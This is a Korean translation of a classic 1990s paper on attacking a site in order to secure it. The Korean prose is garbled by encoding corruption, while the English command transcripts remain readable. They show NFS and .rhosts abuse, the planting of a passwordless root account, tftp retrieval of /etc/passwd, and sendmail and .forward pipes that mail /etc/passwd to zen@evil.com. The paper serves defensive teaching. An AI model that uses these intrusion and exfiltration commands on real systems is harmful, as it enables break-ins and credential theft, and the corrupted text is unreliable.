x2.txt
39KB · 849 lines
�ý��۰������� ���� ���� ���� ���
Dan Farmer
Sun Microsystems
2550 garcia ave MS PAL1-407
Mountain View CA 94043
zen@sun.com
Wietse Venema
Eindhoven University of Technology
P.O. Box 513, 5600 MB
Eindhoven, NL
wietse@wzv.win.tue.nl
����
�ֱ� ������ ���� ħ��� �ſ� ������ �����, �� �����鵵 �ſ� ���������
���ؿ� �ִ�. ���� ��찡 �н������ �������� ����ϴٰ� ����� �ֱ� ����
���� ħ�Ա��� �̿��ϴ� ��찡 ���� �߰ߵȴ�. �̷��� ���� �� �߰ߵDZ�
����Ƿ� ����� �� �˷��� �ִ� ����̴�.
����� �ý��� ħ��ڵ�� �̹����� �� �� �ִ� �ܼ��� �ý��� id �� �ݺ�����
�õ��� �ƴ϶� ���� ������ ����� �ִ�. �ֱ�� �ý��� ���� �� ħ�Ե�����
����� �� �˰� �ִٵ簡, � Ư�� ���� ���� ������ �� �ִٵ簡, �� �ڽ�
�� ������ ��α��� ���� �� �ִٵ簡 �ϴ� ��� ���� ħ��ڵ�� ��̴�.
���� ���� �߰ߵ� �ý���� ����� �� �˼� �ִٵ簡, ���ο� ���׳� �����
�߰��ϱ �ϴµ�, �̵� "Uebercracker"��� �Ѵ�.
����
�� �������� �Ϲ���� �ý��ۺ��ȿ� ���� ���ٹ��� ����ϴ� ��� �ƴϸ�,
����� ħ���� ��忡�� "���", "��"��� ��忡�� �����ϰ�� �Ѵ�.
�ý���� ����� ã���� ���ʿ��� ��Ʈ��ũ ���� ���� �ִ� �����̸�,
�̷��� ����� �ü������ ��Ȯ�ϰ� �����Ѵ� �ϵ��� �̷��� ������ ��
�� �ִ� ��̴�.
������� ���� ���� ħ�Թ��鿡 ���� ����� ���߰�, ħ��ڵ�� ����ϴ�
Ȥ�� �ý���� ���� �� ���� ħ��ڵ� �����ϴ� �Ϳ� ���� �˾� ����. ����
�ý��۰����ڵ�� �����ϱ� ���� �Ϲ���� ���� �̻� ���� �˾ƺ���� �ϸ�,
� �ڿ��� ��ȣ�Ǿ�� �Ѵٴ� ��� �� �˰�� ����� ��Ʈ��ũ�� �ý���� ��ȣ
�� ���� � ����� �� �ʿ������ �� �� �ִٴ� ���� �˾ƾ� �Ѵ�.
ħ��ڵ�� � ����� �Ϸ��� �ϴ���� ������μ� �ý��۰����ڵ�� ���
����� ���� ���� ���ϴµ� ���� �ְ�� �Ѵ�.
�� �������� �ܼ�� �ý���� ���׳� ��������� ��������� �ʴ´�. �� ��
�� ��� � �����ڰ� �ڽ�� �ý���� ����� ���� ���ο� �������� ħ��
���ɼ��� ���ؽ�Ű��� ��̴�.
�� ������ 4���� �ֵ� �κ���� ��������. ù°�� ����̸�, �ι�° �κ��
ħ��ڵ�� ��� �ý���� ���� ��ī��� ���� �鼭 ħ���� �� �ִ��
�� ���� �˰Ա� �ϴ� �κ�ε� ������� ��Ʈ��ũ�� ��������� ��� �˾�
���� ������ �˾Ƴ� ���°��� ���� ��ü���� ���� ���δ�. �������
Ư� NIS�� NFS �� �̿��� �� � ���ؼ��� ���� �ٷ� ��̸�, �ý���̳�
�ü���� Ư������ �������� � ���ؼ��� �ٷ��, �̿� ���� ���å�� ����
��̴�.
����° �κп����� ��� �ý���� ����� �ٸ� �ý���� ���Ἲ�� ���� ��
����� ���� ��̸�, �̷��� �ŷ�(Trust)������ �ſ� ������ �̽��̴�.
��° �κп����� �ý��� �����ڵ�� ���ؾ� �� ����� �⺻���� ����� ����
���ϰ�� �Ѵ�.
�� ���� ��ʳ�, ���� ���� ����, ���Ʈ���� �� �� ���� �������� �η�
���� ���̰� �ִ�.
�� ������ ����� ħ�� ��, ���� SATATN(Security Analysis Tool for
Auditing Networks.) �� �츮�� ��ǥ�Ͽ���. �̰�� shell, perl, C ���� ����
������, ������� �ý��ۿ� ���� NIS, finger, NFS, ftp and tftp, rexd ��
�˻��� �� �ִ�. �Ӹ� �ƴ϶� ����� ���� �����μ�, �߸��� �ý��� ����, ��
���� ��Ʈ��ũ ���� ����, �ý���̳� ��Ʈ��ũ�� �� �˷��� ���� �� ����
�ϰ� �ȴ�. �̰�� ����Ÿ�� ����� ���� ������ ���� �˻��ϱ� ���� ������
�ý���� �����Ѵ�. �η� A�� �̷��� ��ɵ� �����ְ� �ִ�.
�� �ϳ��� ������ ��� ħ�Թ��� �� �ٷ� ���� ������, ���� �츮�� �����
�ƴϴ�. ��ȸ����̳� �н����� Cracking ��� ����� ���� �н����� ���ݹ���
���ؼ��� ��� ������� �ٷ�� �����, Ư� X Window ���ݵ� ����� ��� ��
�κ�� ħ��ڵ�� �̷��� ��Ʈ��� �� �� �ִ� �ܸ���� ������ ��� �ʱ� ��
���� ��� ����� �ʴ´�.
������ ȹ���ϱ�
�� ��� ������ �� ��ΰ�? ��� �Ҽ��� ���� ��� �ý���� ������ �����϶�.
�� ��� �� �� �ִ� ���� �ִ�. finger, showmount, rpcinfo�� ��ó�� �̿���
�� ��� ��̴�. ����� �ۿ��� DNS, whois, sendmail(smtp), ftp, uucp ���
�������� ���� �̿��� �� ����� �̷��� ������ �Ҽ� ���� ��ü ��Ʈ��ũ
ħ�Կ� �̿�� �� ����� ����� �켱 ��� Ư�� ��ǥ�ý��ۿ� ���� �˾ƺ���.
��� finger ���� ������ �Ѵ�.
victim % finger @victim.com
[victim.com]
Login Name TTY Idle When Where
zen Dr. Fubar co 1d Wed 08:00 death.com
�̰�� �ϳ��� ����̸�, ��� Idle�ϹǷ� �ƹ��� ���� ħ�Կ� ���� �Ű澲��
��� ��̴�. �� �ٸ� �������μ�, "@", "0", "", root, bin, ftp, system, guest,
demo, manager, �� finger�Ͽ� ���� ���� ������ ����� �Ѵ�. �̷��� ������
�ý���� ������ ���� �ٸ����� ���� ���̸��� Ȩ ���丮, ������ �α����
ȣ��Ʈ �̸� �� ���� �ְ� �ȴ�.
��� ���� ���ڵ�� ������ ���� ���� rusers("-l"�ɼ����)�� ����Ѵ�.
�̰���� victim.com �� ����� �� ������ ��̴�.
Login Home-dir Shell Last login, from where
----- -------- ----- ----------------------
root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com
bin /bin Never logged in
nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co
daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com
sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com
zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com
sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com
guest /export/foo /bin/sh Never logged in
ftp /home/ftp Never logged in
SATAN�̳� ħ��ڵ�� Ȱ���� ���� ���迡 ���߾� finger �� �ſ� ������ ����
�̴�. ����� �̰�� �ٸ� ����Ÿ�� �Բ� Ȱ���ϸ� ���� �����ϰ� �ȴ�.
���� ��� showmount �� �����Ͽ� ����.
evil % showmount -e victim.com
export list for victim.com:
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy easy
/export/swap/easy easy
/export/foo �� ���� ����Ǿ� ����� �� �� �ִ�. �Ӹ� �ƴ϶� �̰�� ���ڴ�
guest�� Ȩ���丮�̴�. �� ��� "guest" ����� Ȩ���丮�� ����Ʈ�Ͽ�
ħ�Կ� ������ �� ��� ��̴�. �ڽ�� �ý��ۿ� ���Ǵ� ���� ������, root��
NFS ����Ʈ�� ��Ͻý���� ���� ������ �� �����Ƿ� �ڽ�� �ý���� �ִ�
�н����� ��Ͽ� "guest" ���� �����. ��ǥ�ý���� "guest" Ȩ ���丮��
.rhosts �� ����� �н����� ���� �α���� �� ��� ��̴�.
evil # mount victim.com:/export/foo /foo
evil # cd /foo
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest
evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest
evil # su guest
evil % echo evil.com >> guest/.rhosts
evil % rlogin victim.com
Welcome to victim.com!
victim %
���� Ȩ���丮�� �ƴ� ���� ��ɾ�(/usr or /usr/local/bin)���丮�� ������
���ٸ�, ��ɾ ���� �ǵ���� ���� Ʈ��̸� ��α����� ��ġ�� �θ�
��� ���ڰ� �̸� �����ϸ� ���� ���ϴ� ���� ��ǥ �ý��ۿ� ������ �� �ִ�.
��� �ý����,
- Ư��� �ŷ��ϴ� Ŭ��̾�Ʈ���� read/write only �� �����ϸ�,
- ������ Read-only�� �����.
���� /etc/hosts.equiv �� "+"�� ������ �ִٸ�(��κ� ��ü������ �̰�� ���Ʈ)
Ȥ�� netgroups ����(CERT advisory 91:12)�� ��� ��ǥ�ý���� �н����� ��ϳ�
�� �ִ� ���� ���� ���ڸ� �н����� ���� �α���� �� �ִ�. "bin" ���ڴ�
�߿��� ���丮�� ���� �����̹Ƿ� ��ǥ�ý��ۿ� ��� �� ��쿡�� root
�� ������ �� �ֵ��� �н����� ���� ������ �� �ִ�.
evil % whoami
bin
evil % rsh victim.com csh -i
Warning: no access to tty; thus no job control in this shell...
victim % ls -ldg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc
victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
victim % ^D
evil % rlogin victim.com -l toor
Welcome to victim.com!
victim #
rsh �� finger�� who�� ����� �ʵ��� wtmp�� utmp �ý��� �α� �̿��� �
����� ���� ����Ƿ� �ý��ۿ� ������ �� �ִ�. COPS(�η�D) �� �����ڰ� �ƴ�
��� ���ڰ� �ֿ��� ��Ͽ� ���� �������� ���� �� �ִ�� �����Ѵ�.
���� SunOS 4.x �� ����Ѵٸ� ��ġ 100103 �� �̿��Ͽ� ��� ���� ���ѹ�����
�ذ��� �� �ִ�. ���� rsh ���� ������ �ڷḦ ���� ����Ƿ� tcp wrapper
(�η� D)�� ����� ���ӿ� ���� ������ �α� �����.
---------------------------------------------------------------------------
��� ������ �ϳ�? ��ǥ �ý���� ��� ����� �� ã�� ��� �ƴ� ��̴�.
�ٽ� "finger" �� �̿��Ͽ� ��ǥ �ý���� "ftp" ����� ������ �ִٴ� ��� �˰�
�ȴٸ�, �̴� anonymous ftp�� �����ϰ� �ִٴ� ��� �˷��ִ� ��̴�.
anonymous ftp�� �߸� ��������μ� ���� �ܺο��� ���� �� �� �ְ� ��ش�.
���� ��� ��ǥ �ý���� ~ftp/etc ���丮�� /etc/passwd ��� ��ü ī�Ǹ�
������ �ִٸ� victim.com�� ftp ���� Ȩ���丮�� ���Ⱑ ���������.
�̰�� ��ǥ�ý��ۿ� remote ���� ������ �� �ֵ��� ��ִ�, ���� ��� ���ڿ���
�� ���� �н����� ���� �������Ѵٵ簡 �ϴ� ���, �� ftp�� ���� ��� ��
���� �����ϵ��� .forward ���� ���� �� �ִ� ��̴�. �̰�� "vacation"
��α��� ��Ͽ� �ڵ� �����ϵ��� ����ϴ� ������ ���� �̿��ϴ� ��̴�.
evil % cat forward_sucker_file
"|/bin/mail zen@evil.com < /etc/passwd"
evil % ftp victim.com
Connected to victim.com
220 victim FTP server ready.
Name (victim.com:zen): ftp
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 2 0 1 512 Jun 20 1991 bin
drwxr-xr-x 2 0 1 512 Jun 20 1991 etc
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
evil % echo test | mail ftp@victim.com
��� ���� �ܼ�� �н����� ���� �ö� �� ��ٸ��� �Ǵ� ��̴�.
COPS�� Anonymous FTP �� �ùٸ��� ������ �� �����, ftp �Ŵ��� ������,
COPS�� ������ �ڵ� Ȥ�� CERT-Advisory 93:10 �� ����Ͽ� �ùٸ��� Anonymous
FTP�� ��ġ�� �� �ֵ��� �Ѵ�. ftp �� ��༺�� �ֿ��� ���̳� ���丮��
�߸��� ����� ���������� ��Ե� �� �����, �ּ��� ~ftp�� ~ftp �Ʒ��� �ִ�
��� �ý��۵��丮 �� ���� ����ַ� root�� �ؾ� �ϸ�, ��Ÿ � ����
���Ե� ���� ����� ����ؼ��� �ȵȴ�.
ftp �� ���ؼ��� �������� ���� �����ϴ� ������ ���� �� ���� �̿��� ��
�ִ�.
% ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (or whatever)
���� �̰�� ���۵ȴٸ� root�� �α���Ͽ� �н����� ���� �����ϰų� �
�۾��� �� �� �ְ� �ȴ�. ���� �̷� ���� ��� ������ �ִٸ� ��ü�� ftp.uu.net
���� �� ������ ������ ��ü�ؾ� �Ѵ�.
���� ftp ��ü ������ Washington ���п��� ���� wuarchive ftp�� ���� ������
������ ����� 1993 4�� 8�� ��� ������ ����Ѵٸ� �ֽŹ������� ��ü�ؾ� �Ѵ�.
���������� ftp�� ������ tftp�� �ִµ�, �н����峪 �ٸ� ����� ��ġ�� �ʴ�
���̹Ƿ� inetd.conf�� secure �ɼ��÷��� �ξ� ����� ������� �ʴ´ٸ�
ħ��ڴ� ��� ���丮�� � ��Ͽ� ���ؼ��� �б�/���Ⱑ ���������.
���� �̸� ���� �н����� ���� �����ͼ� /tmp���丮�� �� �� �ִ�.
evil % tftp
tftp> connect victim.com
tftp> get /etc/passwd /tmp/passwd.victim
tftp> quit
����� ���� ������ tftp�� ������ �ʴ� ��� ������, ���� �ʿ��ϴٸ�, �����ϴ�
������ �ִ� ���丮�� ����� ������ secure �ɼ� ����� �ξ� ����ϰų�
chroot wrapper �� �����Ͽ� ����Ѵ�.
�̻�� ���� ����� �ʴ� ��� � �ǹ̿����� finger ���� ���� ���� rpcinfo
�� ����� �� �ִ�. rpc�� �̿��ϴ� ���� �ý���� ���ݴ��� �� �ִµ�, rpcinfo��
portmapper�� ��ȭ�Ͽ� �� ���� �˷��ش�. ȣ��Ʈ�� NIS�� ����ϴ��, NIS�� ����
��� slave���, ��ũ���� ��ũ����̼�� �ִ�� �����, rusersd�� rstatd ���
���� �ִ�� ������� NFS�� ���� ���� �� �˷��ش�. �Ʊ�� ���� ��ǥ�ý���
���� ���� ��� ����.
evil % rpcinfo -p victim.com [output trimmed for brevity's sake]
program vers proto port
100004 2 tcp 673 ypserv
100005 1 udp 721 mountd
100003 2 udp 2049 nfs
100026 1 udp 733 bootparam
100017 1 tcp 1274 rexd
����� ���� �߿��� ������ �� �� �ִµ�, ù° �� �ý���� NIS ������ ���
�̴�. �Ƹ� ���� �˷�������� �ʾҼ��� ������ NIS ����γ��� �ѹ� �˰ԵǸ�,
�� NIS ������ �����Ʈ �ٱ��� �ִ������ ������ rpc query�� ���� NIS Maps
�� � �͵� �˾Ƴ� �� �ִ�. ���� ��� ftp.uu.net�� comp.sources.misc����
ã�� �� �ִ� YPX�� ����� �� �ִ�. ����� �н����带 ������ �� �ִ� �Ͱ�
��������� NIS ����γ�ӵ� ���� ���� �� �� �ִ�. �κ������ Ȥ�� ��ü������
�˰Ե� ȣ��Ʈ�̸�(���� ��� victim �̳� victim.com��), �� �̸�, "showmount"
���� �˰Ե� netgroups �̸� ���� ������ �� �ִ�. "victim"���� �����ϰ�
�ʹٸ� ����� �̿��Ѵ�.
evil % ypwhich -d victim victim.com
Domain victim not bound
�̰�� ������ ���̴�. ���� ������ ����� victim.com�� NIS���� ȣ��Ʈ�̸���
��ȯ�ް� �ȴ�. ���� victim.com�� "/var"�� ���� �����ϰ� �ִٴ� ����
NFS���� �˼� �־���. �� �θ��� ����Ʈ�Ͽ� "yp"������丮�� �� �� �ִµ�,
Ȥ�� �ٸ� ������丮���� ��ǥ�ý���� ����γ��� �� ���� ��� ��̴�.
evil # mount victim.com:/var /foo
evil # cd /foo
evil # /bin/ls -alg /foo/yp
total 17
1 drwxr-sr-x 4 root staff 512 Jul 12 14:22 .
1 drwxr-sr-x 11 root staff 512 Jun 29 10:54 ..
11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile
1 drwxr-sr-x 2 root staff 512 Apr 22 11:20 binding
2 drwxr-sr-x 2 root staff 1536 Jul 12 14:22 foo_bar
[...]
�� ��� 'foo_bar"�� NIS ����� �̸��̴�. ���� ���� NIS ��� ũ��ŷ�� ����
�н����� �� �ƴ϶� user/employee�� ���� ȣ��Ʈ�̸� ����Ʈ �� ������ ��� ��
�ִ�. �η� C�� NIS �н����� ��Ͽ� ���� ���� ���� ��� �Ƿ��ִ�.
---------------------------------------------------------------------------
rpcinfo �� victim.com�� rexed�� ����ϰ� �ִٴ� �͵� �˷��ְ� �ִ�. rshd��
��������� rexed�� ������� ���� ������ �� �ֵ��� ��û�ϴ� ����̴�.
����� rshd�ʹ� �� hosts.eqiv�� .rhost�� ���� ������ �����. ����
rexed Ŭ��̾�Ʈ ��α��� ��ɾ ����� ��� ���� C ��α��� ������
����� � Ŭ��̾�Ʈ ȣ��Ʈ�� ���� ������ �������� ������ ������ �� ����
�����ϰ� �ȴ�. �̷��� ����� rexed�� �̿��ϴ� ��� �ƹ� �н����带 ������ ���
�ʴ� �Ͱ� ������ Ŭ��̾�Ʈ�� ���� å��� �ְ� �ȴ�. rexed�� ����� secure
rpc�� �������μ� �̷�� �� �ִ�.
---------------------------------------------------------------------------
rpcinfo�� ���� ���� �츮�� victim.com�� ��ũ���� ��ũ����̼�� ���� ����
��� �� �� �ִ�. �̰�� ��ũ���� ��ũ����̼�� ����� ���� bootparam�� �ִ�
��� ���� �� �� �ִ�. ���� BOOTPARAMPROC_WHOAMI�� Ŭ��̾�Ʈ�� ��巹���� �̿�
�Ͽ� �� ��û�ϸ� NIS ����γ��� �˼� �ִ�. �̰�� ����γ��� �˾� NIS ��(
���� ��� �н����� ��ϰ� ���� ��)�� �� �����ϸ� ���� ȿ���� ���� �� �ִ�.
���� ������ ��� ��α��� �ִ�.(bootparam �� SATAN�� �Ϻ�)
char *server;
struct bp_whoami_arg arg; /* query */
struct bp_whoami_res res; /* reply */
/* initializations omitted... */
callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);
printf("%s has nisdomain %s\n", server, res.domain_name);
"showmout"���� victim.com�� ��ũ���� ��ũ����̼ǵ�� ���ٴ� ��� �� ��
�ִµ�, �츮�� �̰͵�� ��巹���� BOOTPARAMPROC_WHOAMI query�� ����Ѵ�.
evil % bootparam victim.com easy.victim.com
victim.com has nisdomain foo_bar
---------------------------------------------------------------------------
NIS �����ʹ� NIS ����� ������ ������ ���� mail alias�� �����Ѵ�. �� �ý���
������ mail alias ��� ó�� ���� ���۵ɶ� ��ɾ �����ϵ��� mail alias
�� ���� �� �ִ�. ���� ���� ��ʴ� ���� ������ �� uudecode �� �����ϴ�
"decode" alias �̴�. ���� ��� "foo" ��� alias �� ����� ����� ����
�ܼ�� ���� �������μ� evil.com���� �н����带 ��Ϸ� �����Ա� �� �� �ִ�.
nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases
nis-master # cd /var/yp
nis-master # make aliases
nis-master # echo test | mail -v foo@victim.com
ħ��ڰ� NIS������ ȣ��Ʈ�� ���� ��� ���� �ʾƾ� �ϰ����, ���� �����
����� NIS�� ����� ������� �ʾ�, ħ��ڰ� NIS ������ ������ �� �ִٸ�
ħ��ڴ� Ŭ��̾�Ʈ�� ���� �����ϴ� �Ͱ� ���� ����� ��ũ���� ��ũ����
�̼ǿ� ���� ������ �� �ִ�.
Ŭ��̾�Ʈ�� ������̿� ������ ������� ������� ��� ����� ������� ����
NIS ���ݿ� ���� �������� ��å�� ���� ��̴�. ����� ���� ��� � ���
������ �������Ե� ����� �� �־ NIS������ Ŭ��̾�Ʈ�� �ǵ��� ������ ��
�ֱ �ϴ�. ���� �� NIS�� ����ϰ�� �Ѵٸ� ����γ��� ���� ������ ��
������ �ϴ� ��� ���� ����� �� ��̴�. �� ��� ���� ����� ����ڿ���
��ũ ���� Ŭ��̾�Ʈ�� �����ȴٸ� ����γ��� ����� bootparam Ʈ����
����ϴ� ������ ���� �ҿ��� ���� �� �ִ�.���� NIS�� �н����� ��� �����ϱ�
���� ���ȴٸ� �̹� root ����� ���� ħ��ڰ� ����� ������ �� ����Ƿ�
shadow �н������ �� �̻� ���� ����� ��� �ʴ´�. ���� ��� NIS�� ������
�ʴ� ��̸�, ��� ������� ��� ���������� ���ӵ�� �ʵ��� �ּ�ȭ�ϴ�
��̴�.
Secure RPC�� �̷��� ����� ���� �� �ٸ� ���̱� ����� �̰�� �����ϱ��
����� ����� ���� ��ȣ ���� ������� �ʴ�. SUN�� ���Ӱ� ������
NIS+�� �̷��� �������� �ذ��Ͽ��ٰ� ����� ���ѵ� SUN������ �����ϸ� ������
���� ��� ����� �츱 ���� ����. ���������� ��Ŷ ����(port 111)�� �̿��ϰ�
�� Securelib, SUN�� sunpatch 100482-02 �� ����� �� ��̴�.
---------------------------------------------------------------------------
portmapper �� ��� rpc ���� ���ؼ��� �˷��ִ� ��� �ƴϴ�. �ٸ� ��
Ʈ��ũ ���� ���ؼ��� ��� ��Ʈ��ũ �Ʈ�� ���� �������� ������
��ġ��ų �� �ִ�. ��ġ sendmail�� 25��, telnet �� 23 ��, x window ��
6000 �� �̵�� ��� ��Ʈ��ũ ���� Ư�� �Ʈ�� ���� ���ִ�. SATAN
�� ����� �ý��ۿ� ���� ��Ʈ��ũ �Ʈ�� ��ij���ϸ� �߰��� ������ ����
�ϴ� ��α��� ������ �ִ�. ��ǥ�ý��ۿ� ���� �����ϸ� ����� �� ��
�ִ�.
evil % tcpmap victim.com
Mapping 128.128.128.1
port 21: ftp
port 23: telnet
port 25: smtp
port 37: time
port 79: finger
port 512: exec
port 513: login
port 514: shell
port 515: printer
port 6000: (X)
�� �ý���� X Window �ý���� �����ϰ� �ִٴ� ��� �˷��ش�. ����
magic cookie �� xhost ��ī��� �� �����Ͽ� ����� ��ȣ�ϰ� ��� �ʰ�
�ִٸ�, ������ ���÷��̰� ĸ����ϰų� ���� �� �����, Ȥ�� �����
Ű�Է�� ����ǰų� ��α��� ��������� ����� �� �ִ�. ���� ��ǥ
�ý���� X �� �����ϰ� �Ʈ 6000������� telnet �� �Ƶ�δٸ� ��ǥ
�ý���� x window �ý���� ����� �Ͻ� ������Ű�� �Ͱ� ���� ���ź�
���ݿ� �̿�� �� �ִ�. X ������ ����� �� �� �ִ� �Ǵٸ� ����
XOpenDisplay() �Լ��� �̿��ϴ� ����μ� ���� �� �Լ��� NULL �� ��ȯ��
�ٸ� ��ǥ�� ���÷��̿� ������ �� ����. �� ���� SATAN�� ��Ե� ���
�̴�.
char *hostname;
if (XOpenDisplay(hostname) == NULL) {
printf("Cannot open display: %s\n", hostname);
} else {
printf("Can open display: %s\n", hostname);
}
evil % opendisplay victim.com:0
Cannot open display: victim.com:0
����� ���н� ���ٴ� ������ X �̳ε� ��ü�� ���ȹ����� ���� �� ��
��. ���� X �̳�� ����� ���� rsh ����� ����ϰ� �����, �̰�� ��
ǥ�ý���� �̳ο��� X Ŭ��̾�Ʈ�� ����ϰ� �ϸ鼭 ���� �ڽ�� ��
ũ���� ������ �� �� �ִ� ��̴�.
evil % xhost +xvictim.victim.com
evil % rsh xvictim.victim.com telnet victim.com -display evil.com
� ��쿡�� �н����� ���� ���̳� hosts.eqiv �� "+" ó�� ���� ��
����� ����� ħ���ϴ� �Ͱ� ���� ��Ͻý��۰� ��Ʈ��ũ ���� ó�� X ��
����� ���ȵ� ���� ������ �ϰԱ� �Ѵ�.
---------------------------------------------------------------------------
����� sendmail�� ����. sendmail�� ����� ��κ�� �ý��ۿ��� �����Ա�
�Ǿ�ֱ�� ����� �Ǹ�� "wiz" ���� ������ ����� ���� ���� ������
������ �ִ� �ſ� ������ ��α��̴�. sendmail �� ��ȯ�� ������ȣ�� ��
�� ��ǥ�ý���� OS �� ������ ������ȣ �� �� �� �ִ�. �̰�� ��������
���� �� � ����� �ش��ϴ���� �˼��ְԱ� �Ѵ�. ����� ���� ���
��� "decode" alias �� ������ �ִٸ� ���� ������ �� �� �ִ� ��̴�.
evil % telnet victim.com 25
connecting to host victim.com (128.128.128.1.), port 25
connection open
220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
expn decode
250 <"|/usr/bin/uudecode">
quit
"decode" alias �� �ſ� ������ ���ȹ����� �߱��ϴµ�, �̰�� ����ڰ�
� ��Ͽ� ���� ���⸦ �� �� �ֵ����Ѵ�. Ư� ��κ�� ����ְ� ����
�� ������� ������δ� � ����� ��ϵ� ������ ��̴�. ��� ��
��� ���� �̰�� "evil.com" �� zen ����� .rhosts ���� ������ ���
��.
evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com
���� ��� Ȩ ���丮�� ��ã�� ���� ���⸦ �� �� ���ٸ� �ٸ� �����
�μ� ��ǥ�ý��ۿ� � ���� �����ϵ��� /etc/aliases.pag ��Ͽ� ����
�� ÷���ϴ� ��̴�. ��κ�� �ý��۵�� ��� alias �� �����ϴ�
/etc/aliases.pag�� aliases.dir ��ϵ�� ���� ���� ����Ǿ�־� ����
�� ���ɼ��� ���.
evil % cat decode
bin: "| cat /etc/passwd | mail zen@evil.com"
evil % newaliases -oQ/tmp -oA`pwd`/decode
evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
���� vrfy�� ��巹���� Ȯ���ϰų� expn �� ���� ��巹�� Ȯ��� �ȴٴ�
��� sendmail ���� ��ȭ�� ���� �� ���ִٸ� ���� ��� �߰��� �� �ִ�.
finger�� rusers �� ����� �� ���� �� vrfy �� expn �� ���ڳ� ��ǥ ��
����� Ȯ���ϴµ� ���� �� �ִ�. Vrfy �� expn �� vacation �̳� mail
sorter �� ���� �����ִ� ��α����� ������ ã�µ� ���� �� �ִ�.
vrfy �� expn �� ����ϴ� ��� ������ ��κ�� ���������� srvrsmtp.c
�� �ҽ��� ���� CmdTab structure�� "vrfy" �� "expn" ���� ����ų� ��
�ٴ� ��� ����. �ҽ��� ���� �������� ��̳ʸ� ������ ���� 2���� ��Ʈ
���� ������ ��ü�Ͽ� ���� �� �ִ�. �η� D ���� ���̴� �Ͱ� ���� �ֽ�
�� sendmail �������� ��ü�ϴ� �͵� �ϳ��� ���̴�.
---------------------------------------------------------------------------
sendmail-sendoff ������ �� �˷��� ���װ� 2�� �ִ�. ó�� ���״�
Berkeley ���� 5.59 �������� �и��ϰ� ������ �ذ��Ͽ���. ��� ������ ��
�ؼ��� "evil.com"�� ������������ �ұ��ϰ� ������ ���� ��� ����
÷�εǾ� ��� �� �ִ�.
% cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/zen/.rhosts
mail from: zen
data
random garbage
.
rcpt to: /home/zen/.rhosts
mail from: zen
data
evil.com
.
quit
EOSM
evil % /bin/sh evil_sendmail
Trying 128.128.128.1
Connected to victim.com
Escape character is '^]'.
Connection closed by foreign host.
evil % rlogin victim.com -l zen
Welcome to victim.com!
victim %
2��° ������ �ֱٿ� �߰ߵ� ����μ� �۽�ڰ� � �� ���� �����ϰų�
�۽�ڳ� ��� ��巹�� ��� �н��̸��� �����ϴ� ��� ����ϴ� ��̵�
��. ����� �ڼ��� ���� ��������� usenet news �� ��Ÿ���� �˷���
�ٰ� ����Ƿ� �����ϸ� ��κ�� sendmail ���� ������ �ִ�. ����� ��ǥ
���� ���� ��´� ����� ����.
evil % telnet victim.com 25
Trying 128.128.128.1...
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail zen@evil.com < /etc/passwd"
250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
evil %
���� sendmail ���� 8.6.4 �� ��� ��� ��ü������ ���� ���������
�ذ��ϰ� �ִ� ����� �˷����� ����� �η� D �� ����ϱ� �ٶ���.
Trust
�츮�� ������ ����μ� �ణ �̷���� ��忡�� �ŷ�(Trust) ������ ����
����� �Ѵ�. �̰�� ��κ� � �� ���ο��� �ڿ� ������ ��忡�� ��
�����峪 ��Ÿ ��� ���� ����� �ʴ� ��� �ǹ��ϴµ�, Ŭ��̾�Ʈ�� ��
�� ����� ��� �� �� �ֳ��� ���� ���Ϸ��� ��̴�.
ȣ��Ʈ�� �ŷ��ϴ� ���� ���������� ��� �� �ִ�. hosts.equiv ��
.rhosts ���� �н����带 ���� �ʰ� ����� ����ϴ� ��, ������ý����
����� ����ϰų� �����ϵ��� ��ִ� X ����, NFS ��� ���� ���� ��
�� ��̴�. ��� �͵� Ŭ��̾�Ʈ��� ��巹���� ȣ��Ʈ�̸����� ��ȯ��
